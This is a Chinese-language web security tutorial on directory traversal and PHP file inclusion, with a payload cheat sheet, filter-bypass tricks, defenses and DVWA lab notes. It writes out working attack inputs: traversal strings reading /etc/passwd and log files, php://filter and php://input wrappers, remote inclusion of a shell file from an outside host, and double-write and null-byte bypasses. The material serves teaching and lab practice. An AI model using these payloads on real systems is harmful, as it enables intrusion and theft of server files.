文件包含和目录遍历区别——目标都是信息泄露,但手段一个是利用函数来包含web目录以外的文件,另外一个是对web路径访问权限设置不严格导致
4.6. 目录穿越
4.6.1. 简介
目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../
等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
4.6.2. 攻击载荷
4.6.2.1. URL参数
../
..\
..;/
4.6.2.2. Nginx Off by Slash
https://vuln.site.com/files../
4.6.2.3. UNC Bypass
\\localhost\c$\windows\win.ini
4.6.3. 过滤绕过
- 单次替换
-
...//
- URL编码
- 16位Unicode编码
-
\u002e
- 超长UTF-8编码
-
\%e0%40%ae
4.6.4. 防御
在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。
若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。
4.6.5. 参考链接
- Directory traversal by portswigger
- Path Traversal by OWASP
- path normalization
- Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out defcon
4.9. 文件包含
4.9.1. 基础
常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常用的几种包含方式为
- 同目录包含
file=.htaccess
- 目录遍历
?file=../../../../../../../../../var/lib/locate.db
- 日志注入
?file=../../../../../../../../../var/log/apache/error.log
- 利用
/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
4.9.2. 触发Sink
- PHP
-
- include
-
- 在包含过程中出错会报错,不影响执行后续语句
- include_once
-
- 仅包含一次
- require
-
- 在包含过程中出错,就会直接退出,不执行后续语句
- require_once
4.9.3. 绕过技巧
常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
4.9.3.1. url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
4.9.3.2. 特殊字符绕过
- 某些情况下,读文件支持使用Shell通配符,如
?
*
等 - url中 使用
?
#
可能会影响include包含的结果 - 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
4.9.3.3. %00截断
几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。
4.9.3.4. 长度截断
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260
,其中第260个字符为字符串结尾的 \0
,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././
(n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
4.9.3.5. 伪协议绕过
- 远程包含: 要求
allow_url_fopen=On
且allow_url_include=On
, payload为?file=[http|https|ftp]://websec.wordpress.com/shell.txt
的形式 - PHP input: 把payload放在POST参数中作为包含的文件,要求
allow_url_include=On
,payload为?file=php://input
的形式 - Base64: 使用Base64伪协议读取文件,payload为
?file=php://filter/convert.base64-encode/resource=index.php
的形式 - data: 使用data伪协议读取文件,payload为
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
的形式,要求allow_url_include=On
4.9.3.6. 协议绕过
allow_url_fopen
和 allow_url_include
主要是针对 http
ftp
两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
4.9.4. 参考链接
DVWA-文件包含学习笔记
https://www.lagou.com/lgeduarticle/38659.html
一、文件包含与漏洞
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
三、目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
四、文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
五、DVWA练习
1.修改php.ini配置文件开启文件包含功能
allow_url_include = on
将DVWA的级别设置为low
1.分析源码,可以看到没有对page参数做任何过滤
本地文件包含
2.尝试利用文件包含
2.1绝对路径
文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来
文件内容没有php代码,把文件内容打印(显示)到浏览器页面
2.2相对路径
3.使用php封装协议读取和写入php文件
3.1读取文件
php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 访问,可以看到显示了base64编码的内容
使用burpsuit的decode模块解码
3.2写入php文件,下图可以看到输入的内容并返回结果
远程文件包含
1.通过http协议包含本地服务器上的文件
2.通过http协议包含远程服务器上的文件
将DVWA的级别设置为medium
1.分析源码,可以看到使用str_replace函数对http://、https://、../ 、..进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过
2.尝试绕过
先使用http://192.168.10.130/1.txt 抓包分析,可以看到对http://做了过滤
使用双写绕过http://的过滤 htthttp://p://192.168.10.144/1.txt
使用..././..././..././..././..././..././..././ 绕过../的过滤
使用绝对路径绕过
使用file协议绕过
将DVWA的级别设置为High
1.分析源码可以看到,如果$file变量中不含有file并且$file不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的,可以是同file协议来绕过
2.使用file协议绕过
将DVWA的级别设置为Impossible
1.分析源码可以看到,使用白名单,page只能为include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞